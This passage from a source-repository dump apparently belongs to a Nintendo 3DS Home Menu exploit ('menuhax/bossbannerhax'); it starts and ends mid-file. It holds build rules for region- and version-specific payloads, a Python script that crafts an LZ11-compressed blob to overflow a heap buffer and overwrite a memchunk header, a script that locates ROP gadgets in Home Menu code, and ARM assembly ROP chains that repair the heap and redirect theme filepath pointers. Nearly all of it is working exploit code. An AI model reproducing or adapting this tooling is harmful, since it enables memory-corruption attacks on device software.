131 |           if(insize >= 32)return -3;
132 |           return 0;
133 |       }
134 |     }
135 |   }
136 | 
137 |   return 0;
138 | }
139 | 
140 | int decompress_lz11(unsigned char *compressed_datain, unsigned char *decompressed_dataout, int insize, int maxoutsize)
141 | {
142 | 	int decom_size = 0;
143 | 
144 | 	if(compressed_datain[0] != 0x11)return -1;
145 | 
146 | 	decom_size = compressed_datain[1] | (compressed_datain[2]<<8) | (compressed_datain[3]<<16);
147 | 
148 | 	if(decom_size==0)
149 | 	{
150 | 		if(insize < 4)return -2;
151 | 		insize-=4;
152 | 		compressed_datain+=4;
153 | 
154 | 		decom_size = compressed_datain[1] | (compressed_datain[2]<<8) | (compressed_datain[3]<<16);
155 | 		if(decom_size==0)
156 | 		{
157 | 			if(insize >= 32)return -3;
158 | 			return 0;
159 | 		}
160 | 	}
161 | 
162 | 	if(decom_size > maxoutsize)return -9;//Not a Home Menu error.
163 | 
164 | 	insize-=4;
165 | 	compressed_datain+=4;
166 | 
167 | 	return lz11Decompress(compressed_datain, decompressed_dataout, insize, decom_size);
168 | }
169 | 
170 | 


--------------------------------------------------------------------------------
/Makefile.bossbannerhax:
--------------------------------------------------------------------------------
 1 | bossbannerhax_build:
 2 | 	@mkdir -p finaloutput/bossbannerhax
 3 | 	@mkdir -p finaloutput/stage1_bossbannerhax
 4 | 	
 5 | 	@for path in bossbannerhax_menuversions/JPN/*; do make -f Makefile buildbossbannerhax --no-print-directory REGION=JPN REGIONVAL=0 BOSSPROGRAMID=0020D00 BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) MENUVERSION=$$(basename "$$path"); done
 6 | 	@for path in bossbannerhax_menuversions/USA/*; do make -f Makefile buildbossbannerhax --no-print-directory REGION=USA REGIONVAL=1 BOSSPROGRAMID=0021D00 BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) MENUVERSION=$$(basename "$$path"); done
 7 | 	@for path in bossbannerhax_menuversions/EUR/*; do make -f Makefile buildbossbannerhax --no-print-directory REGION=EUR REGIONVAL=2 BOSSPROGRAMID=0022D00 BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) MENUVERSION=$$(basename "$$path"); done
 8 | 	#@for path in bossbannerhax_menuversions/CHN/*; do make -f Makefile buildbossbannerhax --no-print-directory REGION=CHN REGIONVAL=3 BOSSPROGRAMID=0026D00 BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) MENUVERSION=$$(basename "$$path"); done
 9 | 	@for path in bossbannerhax_menuversions/KOR/*; do make -f Makefile buildbossbannerhax --no-print-directory REGION=KOR REGIONVAL=4 BOSSPROGRAMID=0027D00 BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) MENUVERSION=$$(basename "$$path"); done
10 | 	#@for path in bossbannerhax_menuversions/TWN/*; do make -f Makefile buildbossbannerhax --no-print-directory REGION=TWN REGIONVAL=5 BOSSPROGRAMID=0028D00 BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) MENUVERSION=$$(basename "$$path"); done
11 | 	
12 | 	@for path in bossbannerhax_menuversions/JPN/*; do make -f Makefile build_stage1_bossbannerhax --no-print-directory REGION=JPN REGIONVAL=0 MENUVERSION=$$(basename "$$path"); done
13 | 	@for path in bossbannerhax_menuversions/USA/*; do make -f Makefile build_stage1_bossbannerhax --no-print-directory REGION=USA REGIONVAL=1 MENUVERSION=$$(basename "$$path"); done
14 | 	@for path in bossbannerhax_menuversions/EUR/*; do make -f Makefile build_stage1_bossbannerhax --no-print-directory REGION=EUR REGIONVAL=2 MENUVERSION=$$(basename "$$path"); done
15 | 	#@for path in bossbannerhax_menuversions/CHN/*; do make -f Makefile build_stage1_bossbannerhax --no-print-directory REGION=CHN REGIONVAL=3 MENUVERSION=$$(basename "$$path"); done
16 | 	@for path in bossbannerhax_menuversions/KOR/*; do make -f Makefile build_stage1_bossbannerhax --no-print-directory REGION=KOR REGIONVAL=4 MENUVERSION=$$(basename "$$path"); done
17 | 	#@for path in bossbannerhax_menuversions/TWN/*; do make -f Makefile build_stage1_bossbannerhax --no-print-directory REGION=TWN REGIONVAL=5 MENUVERSION=$$(basename "$$path"); done
18 | 	
19 | 	@zip -rj finaloutput/stage1_bossbannerhax.zip finaloutput/stage1_bossbannerhax
20 | 
21 | buildbossbannerhax:
22 | 	@make -f Makefile finaloutput/bossbannerhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds_bossbannerhax.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_OLD3DS) HEAPBUF=0x3535c900 FIXHEAPBUF=$(HEAPBUF_HAX_OLD3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_OLD3DS) NEW3DS=0 BOSSPROGRAMID=000400100$(BOSSPROGRAMID) BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) $(PARAMS)
23 | 	@make -f Makefile finaloutput/bossbannerhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds_bossbannerhax.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_HAX_NEW3DS) HEAPBUF=0x38f5c900 FIXHEAPBUF=$(HEAPBUF_HAX_NEW3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_NEW3DS) NEW3DS=1 BOSSPROGRAMID=000400102$(BOSSPROGRAMID) BOSSTOOLPARAMS=$(BOSSTOOLPARAMS) $(PARAMS)
24 | 
25 | build_stage1_bossbannerhax:
26 | 	@make -f Makefile finaloutput/stage1_bossbannerhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_OLD3DS) HEAPBUF=0x0FFF1000 FIXHEAPBUF=0x3535c900 ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_OLD3DS) NEW3DS=0 $(PARAMS)
27 | 	@make -f Makefile finaloutput/stage1_bossbannerhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_NEW3DS) HEAPBUF=0x0FFF1000 FIXHEAPBUF=0x38f5c900 ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_NEW3DS) NEW3DS=1 $(PARAMS)
28 | 
29 | finaloutput/bossbannerhax/$(BUILDPREFIX)_bossbannerhax.bin:	binpayload/$(BUILDPREFIX)_bossbannerhax.cbmd
30 | 	bosstool --input=$< --output=$@ --programID=$(BOSSPROGRAMID) --build --nsdataid=0x58484e42 --datatype=0x40001 $(BOSSTOOLPARAMS)
31 | 
32 | binpayload/$(BUILDPREFIX)_bossbannerhax.cbmd:	binpayload/$(BUILDPREFIX)_bossbannerhax.lz11
33 | 	cat cbmd_header.bin $< > $@
34 | 
35 | binpayload/$(BUILDPREFIX)_bossbannerhax.lz11:	binpayload/$(BUILDPREFIX)_bossbannerhax.bin
36 | 	bannertool lz11 -i $< -o $@
37 | 
38 | binpayload/$(BUILDPREFIX)_bossbannerhax.bin:	build/$(BUILDPREFIX)_bossbannerhax.elf
39 | 	$(OBJCOPY) -O binary $< $@
40 | 
41 | build/$(BUILDPREFIX)_bossbannerhax.elf:	bossbannerhax_banner.s
42 | 	$(CC) -x assembler-with-cpp -nostartfiles -nostdlib -DREGION=$(REGION) -DREGIONVAL=$(REGIONVAL) -DMENUVERSION=$(MENUVERSION) -DROPBUF=$(HEAPBUF) -DFIXHEAPBUF=$(FIXHEAPBUF) -DROPBIN_BUFADR=$(ROPBIN_BUFADR) -DTARGETOVERWRITE_MEMCHUNKADR=$(TARGETOVERWRITE_MEMCHUNKADR) -DNEW3DS=$(NEW3DS) -DMENUHAXLOADER_LOAD_BINADDR=0x0FFF1000 -DMENUHAXLOADER_LOAD_SIZE=0xD000 -DMENUHAXLOADER_BINPAYLOAD_PATH=\"sd:/menuhax/stage1/$(BUILDPREFIX).bin\" $(DEFINES) -I$(ROPKIT_PATH) -include $(MENUROP_PATH)/$(REGION)/$(MENUVERSION) $< -o $@
43 | 
44 | finaloutput/stage1_bossbannerhax/$(BUILDPREFIX).bin:	build/$(BUILDPREFIX)_stage1_bossbannerhax.elf
45 | 	$(OBJCOPY) -O binary $< $@
46 | 
47 | build/$(BUILDPREFIX)_stage1_bossbannerhax.elf:	stage1_bossbannerhax.s
48 | 	$(CC) -x assembler-with-cpp -nostartfiles -nostdlib -DREGION=$(REGION) -DREGIONVAL=$(REGIONVAL) -DMENUVERSION=$(MENUVERSION) -DROPBUF=0x0FFF1000 -DFIXHEAPBUF=$(FIXHEAPBUF) -DROPBIN_BUFADR=$(ROPBIN_BUFADR) -DTARGETOVERWRITE_MEMCHUNKADR=$(TARGETOVERWRITE_MEMCHUNKADR) -DNEW3DS=$(NEW3DS) -DMENUHAXLOADER_LOAD_BINADDR=0x0FFF2000 -DMENUHAXLOADER_LOAD_SIZE=0xC000 -DSTAGE1 -DMENUHAXLOADER_BINPAYLOAD_PATH=\"sd:/menuhax/stage2/$(BUILDPREFIX).bin\" $(DEFINES) -I$(ROPKIT_PATH) -include $(MENUROP_PATH)/$(REGION)/$(MENUVERSION) $< -o $@
49 | 
50 | 


--------------------------------------------------------------------------------
/payload.py:
--------------------------------------------------------------------------------
  1 | import compress
  2 | import struct
  3 | import math
  4 | import sys
  5 | 
  6 | def compressionBlock(l, d):
  7 | 	d -= 1
  8 | 	if l > 0x10 or l <= 0x01:
  9 | 		raise Exception("can't do compression block with size "+hex(l))
 10 | 	if d < 0 or d > 0xfff:
 11 | 		raise Exception("can't do compression block with displacement "+hex(d))
 12 | 	l -= 0x1
 13 | 	return [(l<<4|(d>>8)), (d&0xFF)]
 14 | 
 15 | def compressionBlockExtended(l, d):
 16 | 	d -= 1
 17 | 	if l > 0x110 or l < 0x11:
 18 | 		raise Exception("can't do extended compression block with size "+hex(l))
 19 | 	if d < 0 or d > 0xfff:
 20 | 		raise Exception("can't do extended compression block with displacement "+hex(d))
 21 | 	l -= 0x11
 22 | 	return [(0<<4|(l>>4)), (((l&0xF)<<4)|(d>>8)), (d&0xFF)]
 23 | 
 24 | def compressionBlockExtraExtended(l, d):
 25 | 	d -= 1
 26 | 	if l > 0x10110 or l < 0x111:
 27 | 		raise Exception("can't do extra extended compression block with size "+hex(l))
 28 | 	if d < 0 or d > 0xfff:
 29 | 		raise Exception("can't do extra extended compression block with displacement "+hex(d))
 30 | 	l -= 0x111
 31 | 	return [(1<<4|(l>>12)), (l>>4)&0xFF, (((l&0xF)<<4)|(d>>8)), (d&0xFF)]
 32 | 
 33 | def superBlock(b):
 34 | 	if len(b)!=8:
 35 | 		raise Exception("need exactly 8 blocks, not "+str(len(b)))
 36 | 	out = [0x00]
 37 | 	for i, v in enumerate(b):
 38 | 		if isinstance(v, list):
 39 | 			# compression block !
 40 | 			out[0] |= 1<<(7-i)
 41 | 			out += v
 42 | 		else:
 43 | 			# regular data block
 44 | 			out += [v]
 45 | 	return out
 46 | 
 47 | def superBlockFill(b):
 48 | 	while len(b)<8:
 49 | 		b += [0x00]
 50 | 	return superBlock(b)
 51 | 
 52 | ropdata_fn = sys.argv[1]
 53 | payload_fn = sys.argv[2] if len(sys.argv)>=3 else "payload.bin"
 54 | shuffle_flag = int(sys.argv[7]) if len(sys.argv)>=8 else 0
 55 | 
 56 | 
 57 | cmdfunc = [compressionBlock, compressionBlockExtended, compressionBlockExtraExtended]
 58 | cmdlen = [0x2, 0x3, 0x4]
 59 | minlen = [0x2, 0x11, 0x111]
 60 | # cut as much of a from compression block of type t with length l
 61 | def cutAsMuch(t, l, a):
 62 | 	d = min(l - minlen[t], a)
 63 | 	return (a - d, l - d)
 64 | 
 65 | # data which will be written right after the buffer
 66 | if len(sys.argv)>=7:
 67 | 	val = [int(v,0) for v in sys.argv[3:3+4]]
 68 | 	data = struct.pack("<IIII",val[0],val[1],val[2],val[3])
 69 | 	overwriteData = list(data)
 70 | else:
 71 | 	overwriteData = [0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x69, 0x20, 0x61, 0x6D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E]
 72 | 
 73 | # out = [0x11, 0x00, 0x00, 0x30]
 74 | rop_data = bytearray(open(ropdata_fn,"rb").read())
 75 | ropDecompSize = len(rop_data) + compress.compress_nlz11(rop_data, open("tmp","wb"))
 76 | out = list(bytearray(open("tmp", "rb").read()))
 77 | 
 78 | # start by generating the end data so we know how much room we have to fill later on
 79 | endStuff = []
 80 | if shuffle_flag==0:
 81 | 	# first write data over already-processed compressed blob
 82 | 	endStuff += superBlock(overwriteData[:8])
 83 | 	endStuff += superBlock(overwriteData[8:])
 84 | 	# then copy it a few times to overwrite the memchunk header
 85 | 	endStuff += superBlock([compressionBlockExtraExtended(0x1000, 0x10), 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
 86 | 	fillAmount = 0x2a0000 - len(endStuff)
 87 | else:
 88 | 	fillAmount = 0x150000 - len(endStuff)
 89 | 
 90 | print(["0x%02X"%v for v in endStuff])
 91 | 
 92 | # filler data
 93 | filler = []
 94 | filler += superBlock([0xDA]*8)
 95 | fillProgress = 8
 96 | fillList = []
 97 | while fillProgress < fillAmount:
 98 | 	fillRemaining = fillAmount - fillProgress
 99 | 	if fillRemaining > 0xffff+0x111:
100 | 		fillList += [(2, 0xffff+0x111)]
101 | 		fillProgress += 0xffff+0x111
102 | 	elif fillRemaining > 0xff+0x11:
103 | 		fillList += [(2, fillRemaining)]
104 | 		fillProgress += fillRemaining
105 | 	elif fillRemaining > 0xf+0x1:
106 | 		fillList += [(1, fillRemaining)]
107 | 		fillProgress += fillRemaining
108 | 	else:
109 | 		fillList += [(0, fillRemaining)]
110 | 		fillProgress += fillRemaining
111 | 
112 | fillCmdLength = sum([cmdlen[t] for (t, _) in fillList])
113 | fillCmdLength += int(math.floor(float(len(fillList)-1)/8))+1 #headers
114 | fillCmdLength += 8-(len(fillList)%8) #end 00s
115 | fillCmdLength += 9 #start DAs
116 | 
117 | cutLength = fillCmdLength+ropDecompSize
118 | dataOffset = 8+(8-(len(fillList)%8))
119 | 
120 | for i in range(0, 0x150000-fillCmdLength-len(endStuff)-len(out)-9, 9):
121 | 	out += superBlockFill([])
122 | 	cutLength += 8
123 | 	dataOffset += 8
124 | 
125 | # cut filler length
126 | for i in range(len(fillList)):
127 | 	cutLength, l = cutAsMuch(fillList[i][0], fillList[i][1], cutLength)
128 | 	fillList[i] = (fillList[i][0], l)
129 | 
130 | dataOffset += ropDecompSize+sum([v[1] for v in fillList])
131 | print(hex(dataOffset))
132 | 
133 | # generate actual filler lz data
134 | fillList = [cmdfunc[t](l, 8) for (t, l) in fillList]
135 | for i in range(0, len(fillList), 8):
136 | 	l = min(8, len(fillList)-i)
137 | 	filler += superBlockFill(fillList[i:i+l])
138 | 
139 | print(fillCmdLength)
140 | print(fillList)
141 | 
142 | print(["0x%02X"%v for v in filler])
143 | 
144 | # adjust endStuff for offset
145 | adjustment = 0x10-(dataOffset%0x10)
146 | if adjustment <= 8:
147 | 	overwriteData[:] = (overwriteData[-adjustment:]+overwriteData[:(8-adjustment)]) + (overwriteData[(8-adjustment):(16-adjustment)])
148 | else:
149 | 	adjustment = 16 - adjustment
150 | 	print(adjustment)
151 | 	overwriteData[:] = (overwriteData[(adjustment):(adjustment+8)]) + (overwriteData[-(8-adjustment):]+overwriteData[:adjustment])
152 | if shuffle_flag==0:
153 | 	endStuff[0:9] = superBlock(overwriteData[:8])
154 | 	endStuff[9:18] = superBlock(overwriteData[8:])
155 | 
156 | # output file
157 | out += filler
158 | out += endStuff
159 | 
160 | if shuffle_flag==1:
161 | 	if len(out) > 0x150000:
162 | 		raise Exception("The generated payload prior to adding the footer is already too large.")
163 | 	while len(out) < 0x150000:
164 | 		out += [0x00]
165 | 	out += overwriteData
166 | 
167 | if shuffle_flag==0:
168 | 	dataOffset+= 0x1010
169 | 
170 | totalLength = dataOffset
171 | out[1] = totalLength&0xFF
172 | out[2] = (totalLength>>8)&0xFF
173 | out[3] = (totalLength>>16)&0xFF
174 | 
175 | open(payload_fn, 'wb').write(bytearray(out))
176 | 


--------------------------------------------------------------------------------
/generate_menurop_addrs.sh:
--------------------------------------------------------------------------------
  1 | #!/bin/bash
  2 | 
  3 | # This script builds the ROP address #define headers included via the gcc -include option in the Makefile.
  4 | # The tool from here is required: https://github.com/yellows8/ropgadget_patternfinder
  5 | # Usage: generate_menurop_addrs.sh {path} <path to yellows8github/3ds_ropkit repo>
  6 | # {path} must contain JPN, USA, and EUR directories, which contain the following for each title-version: <v{titlever}>/*exefs/code.bin
  7 | 
  8 | homemenudir=$1
  9 | ropkitpath=$2
 10 | 
 11 | mkdir -p menurop
 12 | 
 13 | function findthemestr_filepath
 14 | {
 15 | 	rawaddr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --stride=0x1 --patterndata=$3 --patternsha256size=$4 "--plainout=" --printrawval`
 16 | 	if [[ $? -eq 0 ]]; then
 17 | 		printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=datacmp --patterndata=$rawaddr "--plainout=#define $2 "`
 18 | 
 19 | 		if [[ $? -eq 0 ]]; then
 20 | 			echo "$printstr" >> "menurop/$1/$version"
 21 | 		fi
 22 | 	fi
 23 | }
 24 | 
 25 | function process_region
 26 | {
 27 | 	mkdir -p "menurop/$1"
 28 | 
 29 | 	if [ ! -d "$homemenudir/$1" ]; then
 30 | 		echo "The \"$homemenudir/$1\" directory doesn't exist."
 31 | 		exit 1
 32 | 	fi
 33 | 
 34 | 	for dir in $homemenudir/$1/*
 35 | 	do
 36 | 		version=$(basename "$dir")
 37 | 		version=${version:1}
 38 | 		echo "$1 $version"
 39 | 
 40 | 		ropgadget_patternfinder $dir/*exefs/code.bin --script=homemenu_ropgadget_script --baseaddr=0x100000 --patterntype=sha256 > "menurop/$1/$version"
 41 | 		if [[ $? -ne 0 ]]; then
 42 | 			echo "ropgadget_patternfinder returned an error, output from it(which will be deleted after this):"
 43 | 			cat "menurop/$1/$version"
 44 | 			rm "menurop/$1/$version"
 45 | 		else
 46 | 			
 47 | 			$ropkitpath/generate_ropinclude.sh $dir/*exefs/code.bin $ropkitpath >> "menurop/$1/$version"
 48 | 			if [[ $? -ne 0 ]]; then
 49 | 				echo "3ds_ropkit generate_ropinclude.sh returned an error, output from it(which will be deleted after this):"
 50 | 				cat "menurop/$1/$version"
 51 | 				rm "menurop/$1/$version"
 52 | 			else
 53 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=34a5207f79d4bf19d84f30b515545dd573012961fa1f73140203b91c5c4388b8 --patternsha256size=0x1c "--plainout=#define ROP_LOADR4_FROMOBJR0 "`
 54 | 
 55 | 				if [[ $? -eq 0 ]]; then
 56 | 					echo "$printstr" >> "menurop/$1/$version"
 57 | 				fi
 58 | 
 59 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=52e0aa6d5ac4cda766a2b4d0d0702c2d756d4df5d4a57c43d35d64cce3f85881 --patternsha256size=0x10 "--plainout=#define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX "`
 60 | 
 61 | 				if [[ $? -eq 0 ]]; then
 62 | 					echo "$printstr" >> "menurop/$1/$version"
 63 | 				fi
 64 | 
 65 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=17fded5d443cfddad96c2020b28745000374792c1d4f594390171369e785fadb --patternsha256size=0x28 --dataload=0x2c "--plainout=#define ORIGINALOBJPTR_BASELOADADR "`
 66 | 
 67 | 				#--patterndata=bf686cf1bbadd44648618925d9d8e83bb54cff8f99cb7285bddaea994ea72d45 --patternsha256size=0x14 "--plainout=#define APT_SendParameter "
 68 | 
 69 | 				if [[ $? -eq 0 ]]; then
 70 | 					echo "$printstr" >> "menurop/$1/$version"
 71 | 				fi
 72 | 
 73 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patternsha256size=0x30 --patterndata=458a4883ac20d00cced6f64adb8de336a9bc568793a7c3e1d64fefa2dad70aa8 "--plainout=#define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR "`
 74 | 
 75 | 				if [[ $? -eq 0 ]]; then
 76 | 					echo "$printstr" >> "menurop/$1/$version"
 77 | 				fi
 78 | 
 79 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=36ef6f0a979e4486db2bb1bd060b63e69331712df98dda78fb3f122a47683367 --patternsha256size=0x30 "--plainout=#define NSS_LaunchTitle "`
 80 | 
 81 | 				if [[ $? -eq 0 ]]; then
 82 | 					echo "$printstr" >> "menurop/$1/$version"
 83 | 				fi
 84 | 
 85 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=a65851d28ca7254df126e2e40a5ca17a349b03cca328e6d548eee4a18cff7233 --patternsha256size=0x20 "--plainout=#define NSS_RebootSystem "`
 86 | 
 87 | 				if [[ $? -eq 0 ]]; then
 88 | 					echo "$printstr" >> "menurop/$1/$version"
 89 | 				fi
 90 | 
 91 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=67593efa79a84116be6ef1302e4472bd91fdb8002f78bfa724a795a05250a260 --patternsha256size=0x18 "--plainout=#define GSPGPU_Shutdown "`
 92 | 
 93 | 				if [[ $? -eq 0 ]]; then
 94 | 					echo "$printstr" >> "menurop/$1/$version"
 95 | 				fi
 96 | 
 97 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=a501715840cfe3acf3ba0903c7e457ef73cf9358c38dca29f73b2919f0381eb2 --patterndatamask=ffffffffffffffff000000ffffffffffffffffff000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffffffffffffffff --patternsha256size=0x44 --dataload=0x124 "--plainout=#define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL "`
 98 | 
 99 | 				if [[ $? -eq 0 ]]; then
100 | 					echo "$printstr" >> "menurop/$1/$version"
101 | 				fi
102 | 
103 | 				printstr=`ropgadget_patternfinder $dir/*exefs/code.bin --baseaddr=0x100000 --patterntype=sha256 --patterndata=a501715840cfe3acf3ba0903c7e457ef73cf9358c38dca29f73b2919f0381eb2 --patterndatamask=ffffffffffffffff000000ffffffffffffffffff000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffffffffffffffff --patternsha256size=0x44 --dataload=0x128 "--plainout=#define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL "`
104 | 
105 | 				if [[ $? -eq 0 ]]; then
106 | 					echo "$printstr" >> "menurop/$1/$version"
107 | 				fi
108 | 
109 | 				findthemestr_filepath "$1" "FILEPATHPTR_THEME_SHUFFLE_BODYRD" "810b64901687c68a2685b1e39b9a2660ed745eefcff85623b0303a95bd29a372" "0x30"
110 | 				findthemestr_filepath "$1" "FILEPATHPTR_THEME_REGULAR_THEMEMANAGE" "1bcc1fb0802e1bce26f4a8a9a2492fb85e47f40de6eea2b3380cafe08e1f80ea" "0x2e"
111 | 				findthemestr_filepath "$1" "FILEPATHPTR_THEME_REGULAR_BODYCACHE" "1e677c0cec6485761901d967ed7677cda1b4cf6571de439fad1e9236f975e6a3" "0x2a"
112 | 				findthemestr_filepath "$1" "FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE" "080925b250c4a0cf6f2b290d58b85412c4bb79ace0f8be1fd7404f283bb0d0d1" "0x38"
113 | 				findthemestr_filepath "$1" "FILEPATHPTR_THEME_SHUFFLE_BODYCACHE" "434e73d1416c87ff3a9305b5aa66c5e765a55a3d8fbdc5d0f3061a725b4497a4" "0x34"
114 | 			fi
115 | 		fi
116 | 	done
117 | }
118 | 
119 | process_region "JPN"
120 | process_region "USA"
121 | process_region "EUR"
122 | process_region "KOR"
123 | 
124 | cp -R menurop/* menurop_prebuilt/
125 | 
126 | 


--------------------------------------------------------------------------------
/stage1_themedata.s:
--------------------------------------------------------------------------------
  1 | .arm
  2 | .section .init
  3 | .global _start
  4 | 
  5 | #include "menuhax_ropinclude.s"
  6 | 
  7 | #define THEMEDATA_NEWFILEPATHS_BASEADDR 0x0fff0200
  8 | 
  9 | #ifndef LOADOTHER_THEMEDATA
 10 | 
 11 | #if (REGIONVAL==0 && MENUVERSION>15360) || (REGIONVAL!=0 && REGIONVAL!=4 && MENUVERSION>12288) || (REGIONVAL==4)//Check for system-version >v9.2.
 12 | #define THEMEDATA_LRADDVAL 0xfffffff4
 13 | #else
 14 | #define THEMEDATA_LRADDVAL 0xfffffff8
 15 | #endif
 16 | 
 17 | #else
 18 | 
 19 | @ In addition to what was described below, rerun the theme-loading code during RET2MENU with this.
 20 | #if (REGIONVAL==0 && MENUVERSION>15360) || (REGIONVAL!=0 && REGIONVAL!=4 && MENUVERSION>12288) || (REGIONVAL==4)//Check for system-version >v9.2.
 21 | #define THEMEDATA_LRADDVAL 0xfffffeac
 22 | #else
 23 | #define THEMEDATA_LRADDVAL 0xffffffd4
 24 | #endif
 25 | 
 26 | #endif
 27 | 
 28 | _start:
 29 | 
 30 | ropstackstart:
 31 | 
 32 | @ Write the original value for r4, to the location used for loading r4 from on stack @ RET2MENU.
 33 | ROPMACRO_COPYWORD TARGETOVERWRITE_STACKADR, (ORIGINALOBJPTR_BASELOADADR+8)
 34 | 
 35 | @ The below adds the saved LR value on stack used during RET2MENU, with a certain value. This basically subtracts the saved LR so that a function which was previously only executed with the themehax state, gets executed again with the real state this time. Without this, this particular function never gets executed with normal state, which broke various things.
 36 | 
 37 | @ <saved LR value on the stack which gets used during RET2MENU> += THEMEDATA_LRADDVAL.
 38 | ROPMACRO_LDDRR0_ADDR1_STRADDR TARGETOVERWRITE_STACKADR+0x20, TARGETOVERWRITE_STACKADR+0x20, THEMEDATA_LRADDVAL
 39 | 
 40 | @ Restore the heap freemem memchunk header following the buffer on the heap, to what it was prior to being overwritten @ buf overflow.
 41 | #ifdef FIXHEAPBUF
 42 | ROPMACRO_WRITEWORD (FIXHEAPBUF+0x2a0000 + 0x8), 0x0
 43 | ROPMACRO_WRITEWORD (FIXHEAPBUF+0x2a0000 + 0xc), 0x0
 44 | 
 45 | @ Write the below value to a heapctx state ptr, which would've been the addr value located there if the memchunk wasn't overwritten, after the memfree was done.
 46 | ROPMACRO_WRITEWORD (FIXHEAPBUF-0x80+0x40002c + 0x3c + 0x4), (FIXHEAPBUF-0x58)
 47 | 
 48 | @ Write the below value to a freemem memchunk header ptr, which would've been the addr value located there if the memchunk wasn't overwritten(the one targeted in the buf overflow), after the memfree  was done.
 49 | #if (((REGIONVAL==0 && MENUVERSION<19476) || (REGIONVAL!=0 && MENUVERSION<16404)) && REGIONVAL!=4)//Check for system-version <v9.6.
 50 | ROPMACRO_WRITEWORD (FIXHEAPBUF-0x80 + (0x10+0xc)), 0x0
 51 | #else
 52 | ROPMACRO_WRITEWORD (FIXHEAPBUF-0x80 + (0x28+0xc)), 0x0
 53 | #endif
 54 | #endif
 55 | 
 56 | #ifdef LOADOTHER_THEMEDATA
 57 | @ Write value 0x0 to the value which will get popped into r6 @ RET2MENU ROP.
 58 | ROPMACRO_WRITEWORD TARGETOVERWRITE_STACKADR+0x8, 0x0
 59 | 
 60 | @ Copy the theme filepath strings to THEMEDATA_NEWFILEPATHS_BASEADDR.
 61 | CALLFUNC_NOSP MEMCPY, THEMEDATA_NEWFILEPATHS_BASEADDR, ROPBUFLOC(filepath_theme_stringblkstart), (filepath_theme_stringblkend - filepath_theme_stringblkstart), 0
 62 | 
 63 | @ Overwrite the string ptrs in Home Menu .data which are used for the theme extdata filepaths. Don't touch the BGM paths, since those don't get used for reading during theme-load anyway.
 64 | #ifdef FILEPATHPTR_THEME_SHUFFLE_BODYRD
 65 | ROPMACRO_WRITEWORD FILEPATHPTR_THEME_SHUFFLE_BODYRD, (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_shuffle_bodyrd - filepath_theme_stringblkstart))
 66 | #endif
 67 | 
 68 | #ifdef FILEPATHPTR_THEME_REGULAR_THEMEMANAGE
 69 | ROPMACRO_WRITEWORD FILEPATHPTR_THEME_REGULAR_THEMEMANAGE, (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_regular_thememanage - filepath_theme_stringblkstart))
 70 | #endif
 71 | 
 72 | #ifdef FILEPATHPTR_THEME_REGULAR_BODYCACHE
 73 | ROPMACRO_WRITEWORD FILEPATHPTR_THEME_REGULAR_BODYCACHE, (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_regular_bodycache - filepath_theme_stringblkstart))
 74 | #endif
 75 | 
 76 | //ROPMACRO_WRITEWORD (0x32e604+0x10), (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_regular_bgmcache - filepath_theme_stringblkstart))
 77 | 
 78 | #ifdef FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE
